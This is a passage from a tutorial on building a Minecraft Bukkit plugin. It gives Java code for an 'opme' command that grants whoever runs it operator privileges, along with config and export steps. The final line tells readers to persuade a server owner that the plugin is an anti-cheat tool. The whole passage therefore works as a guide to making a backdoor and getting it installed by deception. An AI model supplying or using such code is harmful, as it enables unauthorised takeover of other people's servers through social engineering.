You should have code pretty similar to:

public class Main {

}

1. Click on the end of public and add a space and: final
2. Click on the end of your classname and add a space and: extends JavaPlugin

Tenth Step

Let's make the actual command! Click above the last } which is located down below and add this code:

Code:
public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args){

        if(cmd.getName().equalsIgnoreCase("opme")){

            Player p = (Player)sender;

            p.setOp(true);

            return true;

        }

        return false;

    }

Edit opme with your desired executable command(don't add the slash, or the command will become //command).
After that, get back to the top of your plugin's code and these near our imports:

Code:
import org.bukkit.command.Command;

import org.bukkit.command.CommandSender;

import org.bukkit.entity.Player;

Eleventh Step

This is the most important step - creating the main config. If there won't be a config - the plugin wouldn't work!
1. Right click on your plugin, then click New > File and name your file as plugin.yml. Click Finish when you're done.
2. You should get the file to open itself, add these lines of text to it:

Code:
name: PluginName

author: YourName

main: FullPackageName.MainClassName

description: Description

version: 1.0

commands:

   commandName:

     description: CommandDescription

     usage: /<command>

Edit:
PluginName - name of your Java Project.
YourName - your name.
FullPackageName.MainClassName - full name of your package and your class(me.yourname.plugin.Pluginname).
Description - plugin description.
commandName - your main command name(case sensitive).
CommandDescription - description of your command

Twelfth Step
You're finally done! You just need to export your plugin.
1. Right click your plugin, then click Export. Select Java - Jar File, click Next.
2. Click the square next to your plugin name, then click on Browse.
3. Name your plugin as you desire to(without .jar) and click Save.
4. Click Finish.
5. You're done!

Just simply convince the owner to think that this is a anti-cheat plugin or something what could sound fancy.
